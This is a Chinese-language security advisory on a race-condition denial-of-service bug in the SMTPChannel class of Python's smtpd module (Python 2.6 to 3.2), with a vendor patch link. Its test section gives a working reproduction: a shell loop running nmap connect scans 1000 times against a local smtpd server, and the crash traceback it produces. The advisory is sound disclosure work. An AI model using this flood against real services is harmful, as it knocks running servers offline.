Python smtpd模块SMTPChannel类竞争条件拒绝服务漏洞

受影响系统:

Python Software Foundation Python 3.2
Python Software Foundation Python 3.1
Python Software Foundation Python 2.7
Python Software Foundation Python 2.6

描述:
Python是一种开放源代码的脚本编程语言。

Python的SMTPChannel类中的__init__()函数在获取对等端名称时存在竞争条件,本地用户可以触发异常情况导致进程崩溃。

<*来源:Giampaolo Rodola
  
  链接:
http://secunia.com/advisories/41968/
*>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

– 在一个shell上运行python -m smtpd -n
– 在另一个上运行for i in {1..1000};do nmap -sT -p 8025 localhost;done

服务器会打印以下输出并终止:

giampaolo@ubuntu:~/svn/python-2.7$ ./python -m smtpd -n
error: uncaptured python exception, closing channel <__main__.PureProxy listening localhost:8025 at 0xb74b0f4c> (<class ‘socket.error’>:[Errno 107] Transport endpoint is not connected [/home/giampaolo/svn/python-2.7/Lib/asyncore.py|read|79] [/home/giampaolo/svn/python-2.7/Lib/asyncore.py|handle_read_event|430] [/home/giampaolo/svn/python-2.7/Lib/smtpd.py|handle_accept|296] [/home/giampaolo/svn/python-2.7/Lib/smtpd.py|__init__|124] [/home/giampaolo/svn/python-2.7/Lib/socket.py|meth|222])
giampaolo@ubuntu:~/svn/python-2.7$

建议:

厂商补丁:

Python Software Foundation
————————–
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bugs.python.org/issue9129

发表评论?

0 条评论。

发表评论